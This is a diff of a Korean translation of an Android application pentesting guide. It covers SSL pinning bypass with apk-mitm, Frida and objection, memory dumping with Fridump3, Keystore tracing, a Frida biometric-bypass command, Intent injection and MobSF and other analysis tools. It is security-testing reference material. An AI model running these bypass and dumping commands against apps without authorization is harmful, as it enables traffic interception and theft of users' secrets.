javax.net.ssl.X509TrustManager, checkServerTrusted 오버라이드 -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- 일치한 위치를 사용해 dynamic testing 전에 Frida hooks, static patches, 또는 config 검토를 계획하세요. +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init를 custom managers와 함께 사용 +- Declarative pins in res/xml network security config 및 manifest 참조 +- 매칭된 위치를 사용해 dynamic testing 전에 Frida hooks, static patches 또는 config 리뷰를 계획하세요. #### SSL Pinning 우회 -앱에 SSL Pinning이 구현되어 있으면 HTTPS 트래픽을 검사하기 위해 이를 우회할 필요가 있다. 이를 위한 다양한 방법이 있다: +SSL Pinning이 구현되어 있으면 HTTPS 트래픽을 검사하기 위해 이를 우회할 필요가 있습니다. 이를 위한 여러 방법이 있습니다: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. -- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) -- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- 자동으로 **apk**를 **수정**하여 **SSLPinning**을 우회하려면 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)를 사용하세요. 이 방법의 가장 큰 장점은 SSL Pinning을 우회하는 데 root가 필요 없다는 것이지만, 애플리케이션을 삭제하고 새로 설치해야 하며 항상 동작하지는 않을 수 있습니다. +- 이 보호를 우회하기 위해 **Frida**(아래에서 설명)를 사용할 수 있습니다. Burp+Frida+Genymotion을 사용하는 가이드는 다음을 참조하세요: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- [**objection**](frida-tutorial/objection-tutorial.md)를 사용해 **자동으로 SSL Pinning을 우회**하려고 시도할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF dynamic analysis**(아래 설명)를 사용해 **자동으로 SSL Pinning을 우회**해볼 수도 있습니다. +- 여전히 캡처되지 않는 트래픽이 있다고 생각되면 **iptables를 사용해 트래픽을 burp로 포워딩**해보세요. 블로그 읽기: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### 일반적인 웹 취약점 탐색 +#### 일반적인 웹 취약점 찾기 -애플리케이션 내에서 일반적인 웹 취약점도 검색하는 것이 중요하다. 이러한 취약점을 식별하고 완화하는 자세한 정보는 이 요약의 범위를 벗어나지만 다른 곳에 광범위하게 다루어져 있다. +애플리케이션 내에서 일반적인 웹 취약점을 찾는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 자세한 내용은 이 요약의 범위를 벗어나지만 다른 곳에 광범위하게 설명되어 있습니다. ### Frida -[Frida](https://www.frida.re) 는 개발자, 리버스 엔지니어, 보안 연구원을 위한 동적 계측 툴킷이다.\ -**실행 중인 애플리케이션에 접근하여 런타임에 메서드를 hook하여 동작을 변경하거나 값을 변경/추출하고 다른 코드를 실행할 수 있다...**\ -Android 애플리케이션을 pentest하려면 Frida 사용법을 알아야 한다. +[Frida](https://www.frida.re) 는 개발자, 리버스 엔지니어, 보안 연구원을 위한 동적 인스트루먼테이션 툴킷입니다.\ +**실행 중인 애플리케이션에 접근해 런타임에 메서드를 후킹하여 동작을 변경하고, 값 변경·추출하거나 다른 코드를 실행할 수 있습니다.**\ +Android 애플리케이션을 pentest하려면 Frida 사용법을 알아야 합니다. - Frida 사용법 배우기: [**Frida tutorial**](frida-tutorial/index.html) -- Frida로 작업을 위한 일부 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- 여기에서 몇몇 Awesome Frida 스크립트를 찾을 수 있다: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- anti-debugging / anti-frida 메커니즘을 우회하려면 Frida를 다음에 안내된 방식으로 로드해 보세요: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (도구 [linjector](https://github.com/erfur/linjector-rs)) +- Frida 작업용 일부 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection은 Frida 사용을 자동화하기에 좋습니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- 유용한 Frida 스크립트 모음: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- ptrace 없이 Frida를 로드해 안티 디버깅/안티-frida 메커니즘을 우회해보세요: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (도구: [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -523,9 +530,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **메모리 덤프 - Fridump** -애플리케이션이 메모리 안에 저장해서는 안 되는 비밀번호나 mnemonics 같은 민감한 정보를 저장하고 있는지 확인하세요. +애플리케이션이 비밀번호나 니모닉 같은 민감한 정보를 메모리에 저장하고 있지 않은지 확인하세요. -Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: +[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하면 다음과 같이 앱의 메모리를 덤프할 수 있습니다: ```bash # With PID python3 fridump3.py -u @@ -534,63 +541,63 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -이 명령은 메모리를 ./dump 폴더에 덤프하며, 그 안에서 다음과 같이 grep할 수 있습니다: +이것은 메모리를 ./dump 폴더에 덤프하며, 그 안에서 다음과 같이 grep을 실행할 수 있습니다: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Keystore의 민감한 데이터** +### **Keystore 내 민감한 데이터** -Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션은 여기서 **민감한 데이터를 평문으로 저장하는 경향이 있기 때문에**, pentests는 root user 권한으로 이를 확인해야 합니다. 장치에 물리적 접근이 가능한 사람도 이 데이터를 탈취할 수 있습니다. +Android에서 Keystore는 민감한 데이터를 저장하기에 가장 적합한 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기서 **sensitive data in clear text**를 저장하는 경향이 있으므로, pentests는 root user 또는 기기에 물리적으로 접근할 수 있는 사람이 이 데이터를 탈취할 수 있으므로 이를 확인해야 합니다. -앱이 Keystore에 데이터를 저장하더라도, 그 데이터는 암호화되어야 합니다. +앱이 Keystore에 데이터를 저장하더라도, 해당 데이터는 암호화되어야 합니다. -Keystore 내부의 데이터에 접근하려면 다음 Frida script를 사용할 수 있습니다: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Keystore 내부 데이터를 접근하려면 이 Frida 스크립트를 사용할 수 있습니다: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -다음 Frida script를 사용하면 Android 애플리케이션이 특정 민감 영역을 보호하기 위해 수행하고 있을 수 있는 **bypass fingerprint authentication**을 우회할 수 있습니다: +다음 Frida script를 사용하면 Android 애플리케이션이 특정 민감 영역을 보호하기 위해 수행할 수 있는 **bypass fingerprint authentication**을 우회할 수 있습니다: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **백그라운드 이미지** -애플리케이션을 백그라운드로 보낼 때, Android는 **snapshot of the application**을 저장합니다. 그래서 포그라운드로 복구될 때 앱보다 먼저 이미지를 불러와 앱이 더 빨리 로드된 것처럼 보입니다. +애플리케이션을 백그라운드로 보내면, Android는 애플리케이션의 **스냅샷**을 저장합니다. 포그라운드로 복구될 때 앱보다 먼저 이미지를 로드해 앱이 더 빨리 열린 것처럼 보이게 합니다. -하지만 이 snapshot에 **민감한 정보**가 포함되어 있다면, snapshot에 접근할 수 있는 누군가가 그 정보를 **탈취할 수 있습니다**(접근하려면 root가 필요합니다). +하지만 이 **스냅샷**에 **민감한 정보**가 포함되어 있으면, 스냅샷에 접근할 수 있는 사람이 해당 정보를 **탈취할 수 있습니다**(접근하려면 root 권한이 필요합니다). -스냅샷은 보통 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`** +스냅샷은 보통 다음 경로에 저장됩니다: **`/data/system_ce/0/snapshots`** -Android는 FLAG_SECURE 레이아웃 파라미터를 설정하여 **screenshot 캡처를 방지**할 수 있는 방법을 제공합니다. 이 플래그를 사용하면 창 내용이 보안 처리되어 스크린샷에 나타나거나 보안되지 않은 디스플레이에서 보여지는 것을 방지합니다. +Android는 **FLAG_SECURE 레이아웃 파라미터를 설정하여 스크린샷 캡처를 방지**하는 방법을 제공합니다. 이 플래그를 사용하면 윈도우 내용을 보안 처리하여 스크린샷에 나타나거나 보안되지 않은 디스플레이에서 표시되는 것을 방지합니다. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Android Application Analyzer** +### **Android 애플리케이션 분석기** -이 도구는 동적 분석 중 여러 도구를 관리하는 데 도움이 될 수 있습니다: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +이 도구는 동적 분석 중 여러 도구를 관리하는 데 도움을 줄 수 있습니다: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -개발자는 종종 이러한 Intent를 처리하고 `startActivity(...)`나 `sendBroadcast(...)`와 같은 메소드로 전달하는 activity, service, broadcast receiver와 같은 프록시 컴포넌트를 만들며, 이는 위험할 수 있습니다. +Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky. -위험은 공격자가 이러한 Intent를 잘못 유도하여 export되지 않은 앱 구성요소를 트리거하거나 민감한 content providers에 접근할 수 있게 하는 데 있습니다. 예를 들어, `WebView` 컴포넌트가 URL을 `Intent.parseUri(...)`로 `Intent` 객체로 변환한 뒤 이를 실행하면 악의적인 Intent injections로 이어질 수 있습니다. +위험은 공격자가 이러한 Intents를 잘못 유도하여 non-exported 앱 컴포넌트를 트리거하거나 민감한 content providers에 접근할 수 있게 허용하는 데 있습니다. 주목할 만한 예로 `WebView`가 URL을 `Intent.parseUri(...)`로 `Intent` 객체로 변환한 다음 이를 실행하면서 악의적인 Intent 주입으로 이어질 수 있습니다. -### 핵심 요약 +### Essential Takeaways -- **Intent Injection**은 웹의 Open Redirect 문제와 유사합니다. -- 공격은 `Intent` 객체를 extras로 전달하여 이를 리다이렉트해 안전하지 않은 동작을 실행하도록 하는 방식으로 이루어집니다. -- 이는 export되지 않은 컴포넌트 및 content providers를 공격자에게 노출시킬 수 있습니다. -- `WebView`의 URL → `Intent` 변환은 의도치 않은 동작을 촉진할 수 있습니다. +- **Intent Injection** 은 웹의 Open Redirect 문제와 유사합니다. +- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations. +- It can expose non-exported components and content providers to attackers. +- `WebView`’s URL to `Intent` conversion can facilitate unintended actions. -### Android Client Side Injections 및 기타 +### Android Client Side Injections and others -아마도 웹에서 이러한 유형의 취약점을 알고 있을 것입니다. Android 애플리케이션에서는 다음 취약점들에 특히 주의해야 합니다: +아마 웹에서 이런 유형의 취약점을 알고 계실 것입니다. Android 애플리케이션에서는 다음 취약점들에 특히 주의해야 합니다: -- **SQL Injection:** 동적 쿼리나 Content-Providers를 다룰 때는 파라미터화된 쿼리를 사용하고 있는지 확인하세요. -- **JavaScript Injection (XSS):** 모든 WebView에 대해 JavaScript와 Plugin 지원이 비활성화되어 있는지 확인하세요(기본적으로 비활성화됨). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebView는 파일 시스템 접근이 비활성화되어야 합니다(기본값은 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: 많은 경우 Android 애플리케이션이 세션을 종료할 때 쿠키가 해지되지 않거나 디스크에 저장될 수 있습니다. +- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries. +- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: 몇몇 경우 Android 애플리케이션이 세션을 종료할 때 쿠키가 무효화되지 않거나 심지어 디스크에 저장될 수 있습니다 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -603,7 +610,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**애플리케이션의 취약점 평가**는 보기 좋은 웹 기반 프론트엔드를 사용합니다. 동적 분석도 수행할 수 있습니다(단, 환경을 준비해야 합니다). +**애플리케이션의 취약점 평가**를 깔끔한 웹 기반 프런트엔드를 통해 수행합니다. 동적 분석도 수행할 수 있지만(환경을 준비해야 합니다). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -613,41 +620,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. -### MobSF를 이용한 Assisted Dynamic analysis +### Assisted Dynamic analysis with MobSF -**MobSF**는 Android에서의 **Dynamic analysis**에 매우 유용하지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다(가상 머신이나 Docker는 작동하지 않습니다). _참고: 먼저 **genymotion**에서 VM을 시작한 다음 **MobSF**를 시작해야 합니다._\ -**MobSF dynamic analyser**는 다음을 수행할 수 있습니다: +**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +The **MobSF dynamic analyser** can: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). 이들 중 스크린샷을 제외한 모든 항목은 자동으로 수집됩니다. 스크린샷은 원할 때 직접 찍거나 "**Exported Activity Tester**"를 눌러 모든 exported activities의 스크린샷을 얻어야 합니다. +- **Dump application data** (URLs, 로그, clipboard, 당신이 찍은 screenshots, "**Exported Activity Tester**"가 찍은 screenshots, emails, SQLite databases, XML files, 그리고 생성된 다른 파일들). 스크린샷을 제외한 모든 항목은 자동으로 수행되며, 스크린샷은 캡처하고 싶을 때 버튼을 눌러야 하거나 모든 exported activities의 스크린샷을 얻기 위해 "**Exported Activity Tester**"를 눌러야 합니다. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** -android **versions > 5**에서는 **Frida**를 자동으로 시작하고 트래픽을 캡처하기 위해 전역 **proxy** 설정을 구성합니다. 캡처되는 트래픽은 테스트 중인 애플리케이션에서 발생하는 트래픽만 해당됩니다. +From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. **Frida** -기본적으로 몇몇 Frida Scripts를 사용해 **SSL pinning**, **root detection**, **debugger detection**을 우회하고 흥미로운 API를 모니터링합니다.\ -MobSF는 또한 **invoke exported activities**, 해당 활동의 **screenshots**을 캡처하고 리포트용으로 **save**할 수 있습니다. +By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ +MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. -동적 테스트를 **start**하려면 녹색 버튼인: "**Start Instrumentation**"을 누르세요. "**Frida Live Logs**"를 눌러 Frida 스크립트가 생성한 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드의 호출, 전달된 인자 및 반환값을 확인할 수 있습니다(이 항목은 "Start Instrumentation"을 누른 후에 표시됩니다).\ -MobSF는 또한 자체 **Frida scripts**를 불러올 수 있습니다(Frida 스크립트의 결과를 MobSF로 보내려면 `send()` 함수를 사용하세요). 또한 미리 작성된 **여러 스크립트**를 불러올 수 있으며(더 추가하려면 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`에 추가), 단순히 선택 후 "**Load**"를 누르고 "**Start Instrumentation**"을 누르면 해당 스크립트의 로그를 "**Frida Live Logs**"에서 볼 수 있습니다. +To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ +MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../images/image (419).png>) -또한 몇 가지 보조 Frida 기능이 있습니다: +Moreover, you have some Auxiliary Frida functionalities: -- **Enumerate Loaded Classes**: 로드된 모든 클래스를 출력합니다 -- **Capture Strings**: 애플리케이션 사용 중 캡처된 모든 문자열을 출력합니다(매우 많은 노이즈 발생) -- **Capture String Comparisons**: 매우 유용할 수 있습니다. 비교되는 두 문자열과 결과(True/False)를 **표시**합니다. +- **Enumerate Loaded Classes**: 모든 로드된 클래스를 출력합니다 +- **Capture Strings**: 애플리케이션 사용 중에 캡처된 모든 문자열을 출력합니다 (매우 noisy) +- **Capture String Comparisons**: 매우 유용할 수 있습니다. 비교되는 2개의 문자열을 **보여주며** 결과가 True인지 False인지 표시합니다. - **Enumerate Class Methods**: 클래스 이름(예: "java.io.File")을 입력하면 해당 클래스의 모든 메서드를 출력합니다. -- **Search Class Pattern**: 패턴으로 클래스 검색 -- **Trace Class Methods**: **Trace** a **whole class** (해당 클래스의 모든 메서드의 입력과 출력을 확인). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 trace 합니다. +- **Search Class Pattern**: 패턴으로 클래스를 검색합니다 +- **Trace Class Methods**: **Trace** a **whole class** (클래스의 모든 메서드의 입력과 출력을 확인). 기본적으로 MobSF는 여러 흥미로운 Android Api 메서드들을 trace 한다는 것을 기억하세요. -원하는 보조 모듈을 선택한 후 "**Start Intrumentation**"을 누르면 모든 출력이 "**Frida Live Logs**"에 표시됩니다. +Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". **Shell** -MobSF는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF commands**, 일반적인 **shell** **commands**가 포함된 쉘도 제공합니다. 몇 가지 흥미로운 명령: +Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: ```bash help shell ls @@ -658,32 +665,32 @@ receivers ``` **HTTP 도구** -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" 버튼 or a nicer view in "**Start HTTPTools**" green 버튼. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ -To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 버튼에서 캡처된 트래픽의 보기 흉한 뷰를 보거나 "**Start HTTPTools**" 녹색 버튼에서 더 보기 좋은 뷰를 볼 수 있습니다. 두 번째 옵션에서는 **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +이를 위해, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> 버튼 "**Send to Fuzzer**"를 누른 다음 --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. +MobSF로 dynamic analysis를 마치면 "**Start Web API Fuzzer**"를 눌러 **fuzz http requests** 하여 취약점을 찾을 수 있습니다. > [!TIP] -> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: +> MobSF로 dynamic analysis를 수행한 후 프록시 설정이 잘못 구성되어 GUI에서 수정할 수 없을 수 있습니다. 프록시 설정은 다음을 실행하여 수정할 수 있습니다: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Inspeckage를 이용한 보조 동적 분석 +### Inspeckage를 이용한 Assisted Dynamic Analysis -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -이 도구는 몇 가지 **Hooks**를 사용하여 **dynamic analysis**를 수행하는 동안 애플리케이션에서 **무슨 일이 일어나고 있는지** 알려줍니다. +도구는 [**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 얻을 수 있습니다.\ +이 도구는 일부 **Hooks**를 사용하여 **dynamic analysis**를 수행하는 동안 애플리케이션에서 무슨 일이 일어나는지 알려줍니다. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -This is a **great tool to perform static analysis with a GUI** +이것은 **GUI로 static analysis를 수행하기에 훌륭한 도구**입니다 ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. +이 도구는 **security related Android application vulnerabilities**를 찾도록 설계되었으며, **source code** 또는 **packaged APKs**에서 동작합니다. 또한 이 도구는 **capable of creating a "Proof-of-Concept" deployable APK** 및 **ADB commands**를 생성하여 발견된 일부 취약점(Exposed activities, intents, tapjacking...)을 악용할 수 있습니다. Drozer와 마찬가지로 테스트 디바이스를 root할 필요는 없습니다. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -692,20 +699,21 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- 참조하기 쉽게 모든 추출된 파일을 표시합니다 -- APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일합니다 -- AndroidManifest.xml을 분석하여 일반적인 취약점 및 동작을 확인합니다 -- 정적 소스 코드 분석을 통해 일반적인 취약점 및 동작을 검사합니다 -- 장치 정보 -- 그리고 더 많은 기능 +- 참고하기 쉽도록 추출된 모든 파일을 표시 +- APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일 +- AndroidManifest.xml을 분석하여 일반적인 취약점 및 동작을 식별 +- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석 +- 기기 정보 +- 등 ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 커맨드라인 애플리케이션으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이 도구는 APKs를 압축 해제하고 일련의 규칙을 적용하여 해당 취약점을 탐지합니다. +SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. +이는 APK의 압축을 풀고 일련의 규칙을 적용하여 해당 취약점을 탐지함으로써 동작합니다. -모든 규칙은 `rules.json` 파일에 집중되어 있으며, 각 회사나 테스터는 필요에 맞게 자체 규칙을 만들어 분석할 수 있습니다. +모든 규칙은 `rules.json` 파일에 집중되어 있으며, 각 회사나 테스터는 필요한 분석을 위해 자체 규칙을 생성할 수 있습니다. 최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요. ``` @@ -715,9 +723,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn은 모바일 애플리케이션에서 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)를 수행하는 개발자, bugbounty hunters 및 ethical hackers를 지원하는 **크로스플랫폼** 도구입니다. +StaCoAn은 모바일 애플리케이션에 대한 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)을 수행하는 개발자, bugbounty hunters 및 ethical hackers를 돕는 크로스플랫폼 도구입니다. -개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 리포트를 생성해 준다는 것입니다. 설정과 wordlists를 조정하여 맞춤형 경험을 얻을 수 있습니다. +개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성해 준다는 것입니다. 설정과 wordlists를 조정하여 맞춤형 경험을 얻을 수 있습니다. 다운로드[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -725,7 +733,7 @@ StaCoAn은 모바일 애플리케이션에서 [static code analysis](https://en. ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework는 개발자나 해커가 Android 애플리케이션에서 잠재적인 보안 취약점을 찾도록 돕는 취약점 분석 시스템입니다.\ +AndroBugs Framework는 Android 취약점 분석 시스템으로, 개발자나 hackers가 Android 애플리케이션의 잠재적 보안 취약점을 찾는 데 도움을 줍니다.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -733,11 +741,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn**는 Android 애플리케이션이 수행할 수 있는 잠재적 악성 행위를 탐지하고 사용자에게 경고하는 것을 주된 목적으로 하는 도구입니다. +**Androwarn**는 Android 애플리케이션이 수행할 수 있는 잠재적 악성 동작을 탐지하고 사용자에게 경고하는 것을 주요 목적으로 하는 도구입니다. -탐지는 [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용해 **Smali**로 표현된 애플리케이션의 Dalvik 바이트코드에 대한 **static analysis**로 수행됩니다. +탐지는 애플리케이션의 Dalvik bytecode가 **Smali**로 표현된 것에 대해 [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용한 **static analysis**로 수행됩니다. -이 도구는 다음과 같은 Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution 등과 같은 **common behavior of "bad" applications**를 탐지합니다... +이 도구는 Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...과 같은 **"bad" 애플리케이션의 일반적인 동작**을 찾아냅니다. ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -745,87 +753,83 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. 이는 OWASP mobile security 위협에 대해 모바일 애플리케이션을 테스트할 때 자주 사용하는 모바일 애플리케이션 리버스 엔지니어링 및 분석 도구들을 한데 모아 둔 툴입니다. 목적은 모바일 애플리케이션 개발자와 보안 전문가들이 이 작업을 더 쉽고 친숙하게 수행할 수 있도록 돕는 것입니다. +**MARA**는 **M**obile **A**pplication **R**everse engineering 및 **A**nalysis 프레임워크입니다. 이 도구는 일반적으로 사용되는 모바일 애플리케이션 리버스 엔지니어링 및 분석 도구들을 하나로 모아, OWASP 모바일 보안 위협에 대비해 모바일 애플리케이션을 테스트하는 데 도움을 줍니다. 목표는 이 작업을 모바일 애플리케이션 개발자와 보안 전문가에게 더 쉽고 친숙하게 만드는 것입니다. -가능한 기능: +다음 작업을 수행할 수 있습니다: -- 다양한 